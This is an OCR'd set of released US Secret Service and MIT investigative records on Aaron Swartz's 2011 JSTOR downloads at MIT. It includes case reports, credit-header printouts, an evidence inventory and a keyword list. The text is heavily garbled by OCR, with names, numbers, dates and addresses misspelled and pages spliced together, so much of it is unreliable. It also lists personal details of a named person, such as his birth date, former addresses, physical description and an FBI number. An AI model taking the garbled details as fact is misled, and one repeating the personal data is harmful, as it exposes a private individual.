()

stated that the ewmails $warte nsed for guest regastraticn used a
service called mailinator., Mailinator (g a service that gives apooted amails
the appearance of legitimate emails,

The packet capture from $1/04/11 identified two cpen ports on the Agey
Aspire ons found Ln 04T, The ports that were open were 22 and 8092. [(b)(8).(bX7)
identified that the service CherryPy wes running. CherzyPy is a web
applicatica framework using the python programming language.
(b)(6).(b)(7)
iC)

estimated that as of 1/14/11, MIT had spent 160 man-hours
nvestigating the abuse hy 3warzz,
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JSTOR
jstor.org
MIT
nit.edu

acer
me@aaronsw.com
scraper

crawler
18.55
macbook
macaddress
mac address
spoof
uploading
downloading
archive
library
black
downloads
public
journal
ghost
host
gary
grace
gene
hack
network
SSH
shell
seoure
cherrypy
basement
closet
western digital
terabyte
Samsung
Linerva
18.181
de-wily
copyright
library
(b)(8),(bX7)(C)
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Nokia cell phione with power cord

T-Mobile HTC G2 cell phone with power cord
Twelve (12) magnetic media tapes in a FedEx box
Metallic Blue iPod

White iPod with white carrying case

White iPod with Serial Number 8A63308S6UX8A
White iTalk

Black 16GB thumb-drive

“Office Depot” DVD-R with handwritten label “Bibliographic dats which mysteriously appeared one day

as the sun was shining™

Pockst notebook with biue and white hexagon and rectangle design cover
Pure Drive model 761 external hard drive quick start guide with CD
Disc utility internal hard drive upgrade kit

Seagate SATA 3.5 Barracuda internal hard drive installation guide
Scientific Atlantic modem

Apple multi adspter with serial number 6F9395M7ZU6

Apple multi adapter with gerial number 6F 728 INNU4S

Black notebook journal

Wireless-G 2.4 GHz broadband router linksys with serial number CDFG1G609626
MacBook install disk one and two in paper sleeve

MacBook user guide in cardboard case

Apple care service letter

Genius Bar work conflrmation

Digital Media compact flash

Fifty-four miscellancous compact disks

Two hard drive enclosures

T-Mobile sidekick

Sony Micro Vauit

Harvard University earning statement

Earning statement addressed to Aaron Swartz

Master's Thesis M-876 Lind, William Edmund, Thomas McDanald: “A study of an Engineer

Administrator & his Influence of Public Roads in the US 1919-1953"
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Apple iMac model A1311 with serlal number WB025AXGD8?

Western Digital hard drive model WD1200 with serlal number WMANN1006724

@



SSN- Pwe | of 2

Whddhy i DCS Informstion Systams | ® 1994-2011 v4.1.6
Time: 09:18, 02/14/2011 [Trana Union Credit Header Repor| DCSI
e mames Lt e o —— DPPALO] |-~ re-mrrmmemamccem e e e

Name{s) & Addzess(s)

(B)(8),(BX7)(C)
+ SSN SEARCH NO HIT

This information may be used only for DCS' custeomers, or customex’s client's
exclusive use, and such custoners and customer's clients are reguired te hold
the information in strict c¢onfldence and shall not disclcose it to Jrd parties,
0

The Trana Union =redit header {Trace and Retrace} do not include any
informatlon that is placed on the credic files after Juna 30, 2001. 'The
Trans Unlon ¢redit headers do include information that existed in the
crodit files on June 30, 2001, This database will he updated
periodically from other sources,

L T N T N BT T T T T I IR TN T N T T S ST SN RS SR D B SN SR SN I A AR AR Y B
LR A R R T R T T T S 2 T TEE N T N U TS ST T Y R T R T N N R S N T N

Froaad i DCS Information Bystams ! © 1994-2011 vé,1.6
Time: 09:18, 02/14/201t ) Bquifsx Credit Heades | DC8T
cemmecm i —————— —emmaa] DPPA:0) [~~~=vmmmcan- cmmme—mooeom—ae -
6),(B)7)C
Entacod. . [OOBITIC)
(b)(B),(EXTHC)

Name...: SWARTZ, NARON Age: 538:
Cutxent:(bxa)ibx7xc) uen: /) /
hddrass: PHy ) .

: E)E). , ,
Former : 1387 15TH ST APT |ip)7)( vep: /S
Addrass: SAN FRANCISCO, €A 94103 PH: | ) -

(b)(8),

Former : 950 MASSACHUSETTS AVE ART(bY(7)( veo: / [/
Address: CAMBRIDGE, WA 02129 PH: | ) =

SAFESCAN Alert: SAFESCAN Complete - No Harnings
5

IR AR AR ER SR IR N B I I B R N R I T I I 2 N I 2N T I 2 A A A
[ R A T B S AT I T T I S A S N S I A 2 O A A A I B I I B I B

shebbn | DCS Iuformation Systems | © 1994-2011 v4.1.6

Time: 09:18, 02/14/2011 | Experian Credit Header | p¢st

----- e R T T XL hd | DPPA:OLl |we~w~reccsconmacmccnnomecnonre
(BXB).(LX7XC)

Entered:
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SSN- Page 2 of 2

(b)(8),(eX/XC)

38 #a8..:

Namg...: AARCN SWAKTZ BORN: 1986 PHONE#S:

Name...: AARON H SWARTZ BORN ¢ PRONE#8:
(

Current: 950 MASSACHUSETTS AVE APT 1(8).(| MIDDLESEX 09/10

Address; CAMBRIDGE, MA 02139-317%

(b)(6),

former : 1587 LSTH ST APT {(hUZX i SAN FRANCISCO 03/08

Rddress: SAN FRANCISCO, CA 94103-36952

b)(6).(b)(7)(C

Formex :( HE)OXTXC) c3/0?

Addresas:

- T
Formex 4)(6).(B)(7TXC)

Address

24/07

Former {PNELBNTXC)

Address
1

04706
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U.8. SECRET SERVICE INVESTIGATIVE REPORT

FROM: BOSTON FIELD GFFICE FILE: 102~775%-60071-S
T0: CRIMINAL INVESTIGATIVE DIVISION X-REF: N/A
LHFG: THVESTIGATIVE SUPPORT DIVISION SEIZUXEE: N/A

SUBJECT: OPENING RZPORT

CASE TITLE: AARCN SNARTZ

CASE TYPE: 775,510 - UNAUTHORIZED ACCESS UNIVERSITIES
SECOKDARY TYPES: 848.191, 848,304, 548,530

CONTROLLING OFFICE: BOSTON FIELD OFFICE

REPORT MADE BY: 3 [(6)(8).(6)7)C) |

DATE CASE OPENED: 01/07/11

PREVIOUS REZORT: N/B

REPORTING PERIOD: 01/04/11 - 01/21/11

STATUS: CONTLRUED

SYNOPSIS:

On 01/04/11, MIT contacted the New England Elactronic Crime Task Force to request
issistance investigating a computer that was found connectad to tha MIT network in a
locked closet without authorizatlon. Further investigation showed that Paron Swact:z
intzuded lnto the MIT network without suthorization by breaking into the locked
cioget containing nerworking components for MIT networks, comnecting a computer to
the MIT pnetwork and downloading documents from JSTOR. Raron Swartz was arrested by
MIT Police and agents of the New England Electronic Zrimes Taszk Force for breaking
and entering. An investigation of Swastz unauvthorized intrusicn into the MIT nztwork
and the theft of documents fcom JSTOR 15 continuing in the Beston districk,

Case continued in Bogton,

DETAILS OF INVESTIGATION:
(b)(8),(B)(7)C)
On 01/64/11, Detective cf vhe Cambridge Pelice Depavtmeat and a membor
of the New England Electronic crimes Task Force, received a call from| (h)(6).(6X7VC)]
Wb (Y ZNCY . MIT.EDU) of the Massachusetts Tnstitute of Techavlogy Police
Cepartment, informing him that an unauthorized computer had bean found in a wire
cloget on MIT grounds and Network Traffic suggested that the computsar was being noed
to download expensive technical journals without auwthorization. The computer was
found in a wire closet »f the basewent 5f Building 16, the Dorrance Building (77
Masszachusetts Avenue, Cambridge, MA} which houses the MIT Biolagicai Zagireering
Separtmsnt.

(b)(6).(b) (B)(B).(bX7XC)

Also cn 01/04/11, & RSN Datectivel[(7NC)  fand m%m

the Boston Police Department, traveled to MIT and _met aith (B)(6), (D7 X!
B)(8).(b}(7XC it.edu) of the T P)‘ an the ovasement of building

iu. Criminal st {{b)B).(bX7XC) | andl(b}B).(DNTNC) roin Caubridge Pelice processed the

scens four prints. The netbook found c¢onnected to tha switch {n the wira closet in

tne bhasament of building 16 was an Acer Aspive Cne with a serial rumber

LUSAXOCOC100110081601. Metwork traffic indicated tbhat the netbeok wag using hwo IP?

addresses [BY6).ON7HC) ] ard [BELMITHC) | which aze both 1P addresses belenging to MIT.

Use of hWvap showsd Lhat the retbook had port 22 and 8092 cpen. Port 22 is the

dafault pert for S8R (Secure Shsll natwork protocol) and pert 8092 is often

agsoclated with TCP (Transmission Contrel Protocol) traffic. A surveillance camera

wag placed in the wire clopet ho recnrd anyone returning for zhe netbeok.

Continuing on 01/04/11, at approximazely 1523, the surveillance camera recosded &
white male later identified as Aarcn Suartz {OCB 11/08/8€) enter the wire closet.
Based cn the surveillance vidao, 3wartz appeared to replace the extarrnal hard driva
with a new one and take the old hard drive with him.
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(b)(6).(b) (b)(8).(b)

Farther on 01/04/11, {7XC) was ahle o provide SA 7y with the foliowing
timeline:

bB)(8).(bU7}C) r—'
On 03/26/10, PRIPMIBR (bX6).(BA7)C) e l racelved an

email from{(BY6),BYTINC) ] anager stating that at 0800
excessive downloading of journals had been detmcted from MIT and that all of
MIT access to JSTOR would be blocked., JSTOR converts printed scholarly
journalg into electronic form and stores them in @ cencral azchive that can be
accessed hy librariass and institutions such as MIT.

On 09/27/10, the MIT Wetwork and Information 3ecurity Team received agn emall

from|{b)(6) (b)(7)C) |8cholarly Publi
icensling, regarding excessiva dewnlcading frem two 1P addrasses (B)(6).(b)7)(C) |

and 16,55,6.215. JSTOR rastored MIT access but blocked access te the

identifled I[P addresses. [BYBLONTNC) Pat . edu) ,
(b){8).(b}(7)(C) iralyat, atscovered network registration for

TGory HOSLT with cinall address ghostlmailinator.com, a MAC address of
50235a735€fb and computer rama “ghoat-machook” reglstered on the network on
08/24/710. {(bX6),(b)(7 |digabled the somputer registraticon.

on 10709710, [PXELOXNC)  lerom 570n[BYOLBYNC)stass amailed [DIELEKINC) | the
le}(8).(b)7HC) [to infcrm ner that KIT's accaess "o JSTCR had been
cut off again due to ezcessive downloadirng,

ga L0 be MIT Hetwork and Information Security Team recsived an smail
£ramj(b)(8).(b) 7K Istatinq ~hat JSTOR informed her Lhat excessive downloading ceme

from LP address {(b)(6)(bUTHC) |

On 10/13/710, |[(B)6).(E)(] traced the second otcurrence of excessive unauthorized
downloading to a computer regisiered on the natwock ay “Grace Host” with &n
emsll of ghost42@mailinavor.com, a MAC address of (317f22cb074 and computer
name of “ghosi-laptap”. [(BY6).(B) | disablied the host registrat.ons identified as
bogus. {(b)(8).(b}7}C Network Security and Supgort Hervices for

MIT, nobtifies nd ub)és) ‘b)gxc) JHIT Operaticns znd
Infragtructure, that information indicated that the same unknown person appears

to be using MIT Juest vagistvation from a wired connection in building 16.

Oon 11729710, the MIT Network and Infoxmation Security Team was notified oy the
HiT branch of the Institute of Electrical and Electronic Engineers rhat joucnal
spidering has occurred on thelr site and it waa tracked to the Student
Inforwation Processing Board XvM <luster, a group of computars that ars shered
and that anyone in the MIT community can use tn host a Virtuval Machina.

on 01/02/11, I‘;";";E’;“” | received an email f:c.ml(;g);(e)'(b’m torwarded trom|R)OMD)

infoxming him bthat that the excessive downloading ol journals had begun uyain,

J

on 0t/04/11, [BXEMD) | amat)pq [BIEMBNTHC) | b [BYELBUTNC)  xetwork
Operations, and[(b)(68).(b}7XC) init.sdu} a Network Enqincer fur
Neswork and Infraatrocruce services Fot M{T, asking them to further pinpoint
the locavion of the computer downloading the journals. At ana,located
a scmputer hidden by a bex connected to a switch in a ware closet in the
basement of building 1€. The computer was also connected to an extermal hacd
drive. [B)N8L(B)(] establisthed a packet capturm of the sama switch the compurer was
found attached tuo,

a.lso previded spl)8).0) |ith a copy of historical network flow data
(EIBLEXTNC) and [BRELBATNEY]

concerning IP addresscs and [(b)(@) (bY7XC) | from 12/14/10 to G1/04/11 and
UHCP log information for couputers reqlistered as ghost-macbock and ghast-laptop.
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(b)(6),(b) (b)(8).(b)(7)
3A|7YC) centacted SA Q) (CID} at tke CERT Cecrdination {actar at che
Scftware Engineering Insrifute at Carnegiz Mellen University, cp(EXEY, provided A
(0)(8).(b}(7) Jwith iastructlons to upload the data ta the CEKRT drop box.

On 01/0%/11, at approximately 1232, video surveillance showed the individual later
identified av Swartz reoturn to tha wira claset and remove the nethook and external

hard dW,mataly 1411 [{b)(6).(b)7}C) Jof the MIT Policve Department
cal led{(b)(6).(bX7)C) of the MIT Police Department and stated that he had located

the suspect lster Lldentified as Swartz riding his bicycle 2n Massachusetts Avenue

near the intezsection with Les Street in Cambridge, Massachusettrs. [bYB).(BXTXC
and Sal{byB)(b) ] responded to Lee Street to asaist [(bY6),(BY7)C) |

attenpcsd to int 2 Suart s Howaver, Swartz jumped off ol hig bicyrle and ran
down Lee Straet. (b)(ﬁ) BT and sa[(b)(B),(b){] darained the auspect. An inventory

of the backpack thc suspect was wearing contained a U8 passport in tha rame of Aaran
Swartz that was later identified as the suspect. Swartz was transported by Cambridge
Pelica to Cambridge Police headquarters tao e booked for Breakirg acnd Entering.

Also on C1/06/11, checked the DHCP lugs for computar ragistrations with
containing the word qrosu Ghost=laptop was identified ag 3till being active on tha
MIT aetwork using the same MAC address as used op 01/04/11 to download journals.

TSN TRATT) Ireat.edul an MIT Network Engineer, traced qhost-
laptop on tha network te building W20 on the 5" floor. MIT Building W20 is the
Stratton Student CTentaexr {(b)(6).(b)7)C) Jand{(b)(8).(b) |rraveliad to the Htrazton

Student Center and determined that the network drop location ghost-laptop conunected
to was the Student Information Processing Board office, room SGT.ﬁcomactad

L(B)(B),(bY7)C) | :0 foform him that they had traced the netbook Lo & ~oom in the
student centor. SHBIBLBNT meﬁzl(b)(S).(b)( |¢-.ndat the student center and found
the Acer Aspire netbook and axcternal hard drive unattended, under a table, powared on
ard connected to the MIT netwerk by a cable. Using gloves SA [(b)8).(b) jexamined tha
netbook., The netbook sppearad to ba frozen halfway in the shuldewn state and all
attempts to accesa 3 terminal on the machine were unsuccessful, It was determined it
~ould not he possible to conduct live forensics or capture a snapghot of the memory
of the computer in ita curvent state. The laptop was placed in an eviderce bag and
turnad over to MIT Police to be luventoried into eridence.

Also on 01/06/11, sA[LNELD) | .4 [BXE).EXTIC) rraveled to Cambridge bolice
Headquarters to interview Swartz. At Cambridge Hesdquarters SR met Philip G
Cormier [(b)(6).(bX7)(C [0)(6),(b)(7)( Jawodaormier.com) . <ormier informed SA[BNB)(DI] that
he representad Jwarcz und that nis cilent wonid not make a statement. Swartz was not
cooperative with investigators, Swartz initially refused to provide hls name, date
of birth and other bicgraphiczal information.

(B)(8),(bX7)(C)
On 01710/11, Sp (5X6).(6) AUSA iHeymann and ) BeK from J31GR conduct2d a

confersnce c¢all to discuss the theft of material frcm JSTOR.

on 01714711, 5a[EXD® | poreneive [PHEHEXTNC) ~ |and avsa saymana
met at tho MIT office of General Ccumsel witn|(b)(6).(b}7)C) | counsel for MIT. The
details of that meeting will be contained in a memorandum of interview Lo be mede #

part of this rcase foider.

JUDICIAL ACTION:

Cn 01/06/11, Rarur Swartz was anrested by MIT Police Department for violatisn «f
Massachusetts Ganeral Law chapter 2466 section 18, Rreaking and Entering in the
dayrime for felony.

un 01/08/11, 8A (b)(6),(b) called AUSA Steven Heymann to ilnform him of the invegtigatliosn
of Raron Swarcs
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On 901/07/11, Aaron Swartz was arralgned {n Cambridge District court for violation of
MGL C266 618, breaking and entering and hia case was assigned docket number
1152CRC0O73.

SUSPECTS / DEFENDANTS:

AARON H SWARTZ ~ DEFENDENT - RRRESTED (STATE)

AKA: N/B

RACE: white

SEX: Male

DOB: 11/08/1986
3SN:

FBI: 675304KDO
SID: MA13586558
HT: 57~ 06"
WT: 120 1bs,
EYES: Brown

HAIR 3rown
1593 Panding
1599A: Pending
PHOTO: Yes
PRINTS: Yes

POB: Chicago, 1T
DL/STATE!

ADDRESS:

EMAILL:

DATABASE CHECKS: 01/07/11
EXAMS CONDUCTED:
ECSAP: Pending
Poly: N/A
£SD: N/A

OATABASE SFARCHE3 CONDUCTED:

Mcr / CI: q1/07/11
NCIC/HLETS: 01/07/11
CC8/CyT: 01/07/11
LOCAL LE: 01/07/11

Results of database ssarches have baen reported under "Details of Investigatlon®.
EVIDENCE / CONTRABAND / PERSONAL PROPERTY:

311 evidence in this case is currently at MIT Police Headquarters,

0ISPOSITION:

Case continued pending further investigatfon and judicial actien.

[W» BRIRCT |/ Riceiardi
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U.S. SECRET SERVICE INVESTIGATIVE REPCRT
FRUM: BOSTCON FIELD OFFICE FILE: 102-775-60071-§
TO: CRIMINAYL IHVESTIGATIVE OIVISION X-REF: /A
SAN FRANCISCO FIELD OFFICE
INFO: INVESTTGATIVE SUP2ORT JIVISICH SEIZUREH: N/A
SUBJECT: EEQUEST FOR INVESTIGATION OTHER DISTRICT

ACTUAL LOSS: § TBD

CASE TITLE: AARON SWARTZ

POTENTIAL LGSS;

§ 2,000.000.G0

CASE TYBE: 775,510
SECONDARY TYPES: 248,161, B43.304, 848.930

CONTROLLING OFFICZ: 30STOM FIELD UEFICE

REBCRY MADE 8Y: SR {b)(6).(bX7)(C)}
OATE CASE GPENED: 01/0T7TT

PREVIQUS REPORT:
REFCRTING PERIOD:
STATUS;

OPENING REPORT OL/21/11
01/22/1L - 03/02/:1
CONTINUED

SYNOPSIN:

Aaron Swartz brouke lute a network closet in MIT, attached a laptep to the MIT rnetwork

and illegalty downlosged a larga number of documents frxom JSTOR.

Agents and

Detectlives of the New England Slectionic Task Fogce executud a search warrant on

Swartz's residence and otfice,

The 8an Francisco Field Office is ruquested to intsrview twn known asgocliates &f
Swartz to determime thelr knowledge of his activities.

Case rontinuad in Bosten,

DETARILS OF INVESTICATION:

Reference ie made to all previeus reports in thls case, the mogt recent of which i3
the opéning report written by sakbxGL(bN7kn Ci1/21/11.

on 6172511, sa |2NE-BITHC) [E®.oN%0

(b)(8),
(BMIMUC

Manager for JISTOR,

(b)(6).(b)(7) jthe frem the Cffice of Ganeral Coungel o
(b)(6).(b)(7)(C Public Systems fZor JSTOR, |

and AUSA Stsphen Heymann held a conferenze zall

Marager for JSTOR
confirmed that J3TOR has

licensing agrceaments with publishers to wake journals and articles available oo the
JHPOR web site and that some of those licemsing agreemants include reverue sharing

with publishers in_which

e publishars will ger = share of the fees JSTOR collects

from instituticns |[(BN8).(b)7 |stated that some of the publishars allow for a direct fee

to download an ledividual axticle buk some publishers do not want individual articles

dounloaded. [(b)(B).(b)( |estimatad chat the value of the documents Swartz downloaded must
3 of 5

bo in exces

million. (BYELM) Jstated that he believed the average cost of
articles were 514.060, [(B)6).(b) jstated that tha Tirst Lndication of an intrusion was a
degradaticnh of service for all rustomers. [(BX6).( | stated that the saftware on the
JSTOR saite relies on cockies to track users and that Swartz must have found a way to

deleta the JISTOR cookies from his aystam prist tH making a new request =o dawnload e
document. [(B)6). |staten multiple dewnload reguests oocutred simultaneously and that

at timeg hundveds of dvunlosd rugquests aera
that the JSTOR terma and conditions clearly
was doing.

b)(6),(b b)(6).
On 42/03/11, SA( KoL) and Detective ﬁbL7LC
drive enclosure, Western Digip y BUTEDT

flash drive from MIT Policel|(BX6).(bX7)C)

occurring sconcurrently.
prontbited the kind of download!

kbﬂSiibchunfirmvd

ng Swarte

recaiond the Acey Aspirs nethosk, hard

ined in the anclosire, and

SA D)), (b)( Jarnd Det ects.ue
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took the evidence items directiy to Cambridge Police Headquarters., The avidente
items wera Logged into Cambridge Police evidence and taken to the Cambridge Polica
Identification Onit. The Identification Unit began prccessing the items for fingey

prints. The resulta of the analysis is still

sending.

E,“j::' b)(6).{b}7)C)
On 02/4/11, sa( (8).(b) ,Det_ectivn.() )

BX7)C
of the Tambridge Police, (0)(6).(bX7)(C)

conference call. |(bX6).(b)(Jexplained that he was driving to work oan 01/04/11 when

s

ted by a switch.

from the Massachuselis Institute of Tachnology and AUSA Stephen Haymamn nald 3 T)E)
b)(8),()(7

called him and told pim t} s found a laptop conns
explained that previously|(b)(6).(bX7XC) |had sent an email to
switch he bad traced the excessive downloading from JSTOR. {(
arter((b)(8),(b)( |found the laptop connected to tie switch he st

]

b)6)(b)(| descriving the
b)(6).(b) fexplained that

rted a packst capture on

the sams switch. also explained that the switch the laptop wes connected to
tch and

was an entry swi

that normally ecnly edge switches should ba plugged into The

entry switch. also explained that when [BYG)(D)7)(C) Jarrived he uvsed MMAP to
oLt

discover that p 2 and BC92 were open on the laptop that was discovered.
sald that reviewsd the packet «:apt-(; (63 ad Aiscovered 14 differant 1P addresses

sending SSH traffic to the laptop.

were S3R background noise however he did nots that 6).(D

tha linerva scrver at MIT. The linerva aerve

r i a Linux dia

Sturdent Information Processing Board at MIT.

(bX6).(b) |stated t

on analyzaing the packet zapture

(b)(6),(b)

1id believe nhat sowe of the [P addragses

could be traced to
1 up server run by the
hat be was 3stlli working

on 02_,0-;,“"(b)(G).(b)(’l)( ) |told s (7)(C) that he notlcad that on J1/06/11 the laptop

(LYB)IOXTY(] not teed that

b)(6),(b}7)(C)

Swartz was briefiy registered on the HIT network from buildlng 4 of MIT.
vy i that time the laptop comnunicatad with 1P addresses

and {(b)(6).(b}7)C) |3t

atad that those TP

addresses are associatoed with Amaczon Elastic Compute Cloud which is a web service
that provides resizable compnte capacity in the cloud.

Also on 02/07/11, (b)(8).(bX7XC) genl an email

tao AUSA Hevymann
of how many document® were downloaded by Swartz . (b}6).(b){7]stat
dewnloaded over 2.8 mills ioglaesgts in Movemher snd Decembrr £ 2010, [(b)6).(b)}{] aieo
forwarded emails from|(D)(B).(BY7)C) [stating that the initial analysis of The activity
indicated that the Jdownlecads ware den¢ systematically usipg sequantiol itnereases in
stsble DRLS. The same email included a3 statament £ronf(b)8).(BN7NC) ] of ISTOR that
the downloading did not appesr to La targetad towarxda reseaxch axticles or any
particulaxr titlea, collectiona, ov digciplines. for the 2.9 millioa downicads in
Novanber and December, rnae breardown was 1,385,509 researzh articles, 238,063
reviaws, 62,127 rews artivles and 9,472 editorials.

Lo revise her estimate
ed that Swartz

| [ERELERTC)

sa [EBLBXINCT Jana

on 02711711, 33[@YEMO) ] Anea ;o [ONO)BATAC) SH
Cetectiv(b)(8).(b}(7)}C exacurod a scarch warrant on Swart:'s

assachusetts Avenue, Apactment[D)(6)] Cambridge, Massachunetts, Swartz wes heme at
the time the search was executed. While the gearch was conductad Swartz made
statameats <o the effact of “what took you guys so long” and “why didn't you do this
2arllex?” The sesarch feam 3eized several items described in greatar detall in tha
Evidence section of this report. After conplsting the search of Apaztmenhthe
aearch team raturaed tc the flrst flcor ko search the storage locker allocated to

apartmen While on the first floor SA

any ovidence while & warrant waa cbtalned. Atter a sea
t aam 3earched Swartz’'yg office at the Safra rentex., SA

residsnce a: 350

6).(b){|observed Swartz leave che
building, walk to the street and sprint away alter he reached the sktreet. After
ascertalrning that none of rhe items in ths arovage locker velornged to Swartez Lhe
3na3rch team moved to 124 Mount Auburn Stimat in Cambridge, Massachusetts where the
Harvard Unlversity, Edimond J Safia Center for Ethics is located and Swartz was listed
a3 2 13b f[ellow. Tha search tsam obgerved Swartz at the Zafra Centar for Ethics.
darvacd University Polire sscured Swarrtzfa office te prevent

128

Swartz from destreying
rrant was obtainad, the

(b)(B).(B)( |seized and Appla iMac

corputar and a wWestern Digital hard drive from Swarfz’'s offica,

2637



On 02/25/11, Detectxveﬁgggk“” ceceived the Acer Aspire netbook, hard deive encicsure,

Western Digital hard drive conteined .n thoe enclosure, and the USB flagh drive from
Cambridge Police Broperty Technician[b)(6).(BY7)C) detect iva|(PX6).(b)|took the

avidence itema direcltly to tha ECSAP Lab Evidence Vault.

SUSPECTS / DEFENDANIS:

AARON H SWARTZ - SUSPECT

1599; Yes
1599R; No
{b)}(6).(bU7XC)

. SORYRCT
AKA: (b)(8).(b)7)(C) |
RACE: White
SEX:
DOB:
38N,
FBI:
SIn:
HT: S 10
WT: 120 lbs,
EYES: Brown
HAIR Brown
1599; No
1595A: No
PHOTO: No
PRINTS: ko
POB:
DL/STATE:
ADDRESS:
EMATL:
DATABASE, CHECKS: D2/24/11

(b)(8).(bY7)(C) R

ARA: N/A
RACE: Whita
3EX: Yoamale
OB (b)(8).(bX7)(C)
83N,
FBI: H/a
SiD: N/RA
HT: N/A
WT s N/A
EYES: Brown
HATR Brown
1599. Ko
1599A: Ko
FHOTO No
FRINTS: No
POB:
DL/ 3TATE
ADDRESS ¢
EMAIL:

DATABASE CHECKS: 02/24/11

EXAMS CONDUCTEUL:
ECSAP: Ongoing

Poly: N/A
FSD: K/A
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DATABASE SEARCHES CONDUCTED:

MCI / C1; J1/07/11
NCIC/NLETS: 01/07/11
CCS/CFT: 01/07/11
LOCAL LE: 01/07/11 -

Results of database searches have been reported under “Details of Investiqation”.

EVIDENCE / CONTRABARND / PERSONAL PROPERTY:

EVIDENCE SSE 1544 s/n:
DATE OF INVENTORY!
TNVENTORY MADE BY:
DESCRIPTION OF ITEMS:

SEIZED / OBTAINED FROM:
LOCATION:
DISPOSITICON:

EVIDENCE 4SK 1544 S/N:
DATE OF INVENTORY:
INVENTCRY MADE BY:
DESCRIPTION OF ITEMS:

SEIZED / OBTAINED FROM:
TQCATION:
DISPOSITION:

EVIDENCE SSF 1544 s/N:
DATE GF THVENTORY:
INVENTORY MADE BY:
DESCRIPTION OF ITEMS:

SEILZED / OBTAINED FROM:
LOCATION:
DISPOSITION:

EVIDENCE 3SP 1544 5/W:
OATE OF INVENTORY:
INVENTORY MADE BY!:
DESCRIPTION QOF ITEMS:

SEIZ2SD / CRTAINED FROM:
LOCATION:
CISPOSITION:

EVIDENCE S5SF 1544 3/N:
DATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTION OF ITEMS:

102 2011 CB 31

02/11/11

sa[BYELENTICY ]

Scientific Atlantic Modem SN# SM1565968
Apple Mulii Adapter SHE 679395M72ZU6
Aplle Multi Adapter SN GF72R1NNU4S
Black Notebook Journal

Aaron Swartz

Soaton Tleld Office Evidence Vault
Held vending judiecial action.

102 2011 CE 32

G2/
sa|(0)(8).(b7)C

Harvard University Earning Statawment
Earning Statemseat Addressed tc Aargp Swarzt:
Master’s Thesis W-876 Lind

Western Dlgital Mail-in Rebate Form

Agron Swartz
Boston Fisld Office Evidence Vault
Held pending judicial aation.

102 2011 CE 33

02

5f(B)B).(B)7)(

Wirelass-G 2.4 GHz Brceadband Routsr Linksys
MacBook Mac (%X Install DJisc one and two
MacBaok User Guide in Gray Cardboard case

Applae Care Service Letter Dispatch Ra276108

Genius Bar Work Confirmation
Aaren Swartz

Boston Field Office Evidence Vault
Held pending judicfzl action.

162 201 CE 34

227117
sa [(b)(8).(bX7)
Nokla Call Phone

T-Mobile, HTC G2 cell phonae

12 Magnetic Media Tapes

Aaron Swartz

Boston Field Office Evidence Vault
Held pending judicial actlion.

102 2011 €2 15
02/11/11
sa [BIELEXTCT ]

Metaliic Blue iPod
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SEIZED / OBTAINED FROM:
LOCATICHN:
PISFOCITION:

EVIDENCE 5SF 1544 S/N:
DAYE OF THVENTORY:
INVENTORY MADE 3Y:
BESCRIPTION OF ITEMS:

SEIZED / QDTRINED FRCH;
LOCATION:
DISPOSITION:

EVIDENCE 5SF 1544 S/N:
OATE OF INVENTORY:
TNVENTORY MADE 3Y:
DESCRIPTION OF ITEMS:

SEXZED / UHBTAINED FROM:
LOCATION:
DIZPOSITION:

EVIDENCE S5 1549 S/N:
DATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTICM OF ITEMS:

SEIZED / OBTAINED FROM:
LOCATION:
DISFOSITICN:

EVINENCZ 33F 1544 5/N:
DATE OF IMVENTORY:
INVENTORY MADE BY:
DESCRIPTION OF ITEMS:

SEIZED / OBTRINEL FRUM:
LOCATION:
DISEPOSTTION:

EVIDENCE SSF 1544 S/M:
DATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTINN OF ITEMS;

SETZED / CBTAINED FROM:
LOCATTON:
DISPOSITION:

Whice
white
White

1®nd uith carzying case

iPod with gerial numbexr HA§330856UX8A
iTalk

Blarck 1¢GB Thumb-drive

Aaron Swavtz

Boston Field Office Zvidence Vault

Held pending judicial action,

102 29211 CE 3%

02 Al ’
SA ()(6).(b)(7)
Fifry-four wiacellaneous compact discs

Two hard drivs enclosureg
T-Mobile Sidekick

Sony Micrn Vault

Aaron 8wartz

Boston Fiesld Office Tvidence Vault
Held pending judicial acticn,

102 2011 CE 38
02/ 1

gp [(bXB).(b)}(7) |

Fifty-four miscelianeous comgact discs
Two hard drive enclosures

T-tobile Sidekick

Sony Micro Vaulf

Aaron Swartz

Baston Field Office Evidenca Vault
Held pernding judicial actiorn,

102 2011 CE 3?

02 3

sxfb)(6).(X7)

OVD-R with handwritten label

Pockat notebook

Pure Drive Quick stast guide

{ek urility internal bard drive upgrade kit

Seagyate Barracuda Hard Orive Installatlion Guide

Aaren dwartz
Boston Field Office Evidence Vault
tield pending judieial action.

102 2011 CE 38

02
sa|(L)6).bXTNC

Apple iMac Model A1311l serial number WB025AXGGE7

Wastern Digital Fsrd Diive SN #MANNIONS724
Aaren Swartez

3cston Field Office Evidence Vault

Hel@d pending judicial action.

102 2011 €€ 33
02 ;
=al(b)(6).(BX7)C)

Acar Asplre One 3N LUSAXODCOLGCLL001E1SNL

Rockstfiah Enclosure with WD hard drive WMAZA15826675

AP U8B Drive mavrked N0455MKBTL 85102
Cambridge Police

Boston Field Cffice Evidence Vault
dald pending judicial action,



DISPOSITION:

b)(6),(b
The San Francisco Field Office is requested to interview (B)(B).(B)(7NC) and( X6),(b)
(b)(6) (BY/HC) Jto determine if Swartz discussed JSTOR or NIT with them ard if they had any
knowleidge of Swarte’s downloading of documents from JSTOR.

Case continued pending further investigation and judicial aétion.
81 URNIC)
Iﬁn o Ricciardl
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a;;;fy on Massachusetts Institute of Technology network).txt

ry 04, () Bdh PM
(C10) i (C10) 4 fEX8)L0)7) (CI0);

WFO) ; (b)(8).(bX7XC) (CHD) ;l(bxe).(b)m(m

01500c4
From: b
Sent:

(6).()(7)(C]
To: '

c?
(REN)

:u?%ec;: unauthorized activity on Massachusetts Institute of Technology
etwor

Attachments; DSC01776.3PG; DSC01786.IPG; DSCO1784.3PG

FYL

unauthorized activity on Massachusetts Institute of Technology network
on 0%/04/11Aoetect1ve Joseph Murphy of the Cambridge Police Oepartment and a member

New Ep d glectronic cri Task Fo fved 11 f th |(b):(:6:):'(Ibw e
MEK 0141 e onIC Crimes 7Tas rce recelved a ca rom e ]
xT.Enu),of
Fasssciusetn? Institute of Technology Police that an unauthorized computer had been
ound in a wire
c103et ?n :17 grounds and Network Traffic suggested that the computer was being used
to downloa
technical jourpals. The computer was found in a wire closet of in the basement of
guilding 16, the
porrance Buil

7 Massachusetts Avenue} which has MIT Biological Engineering

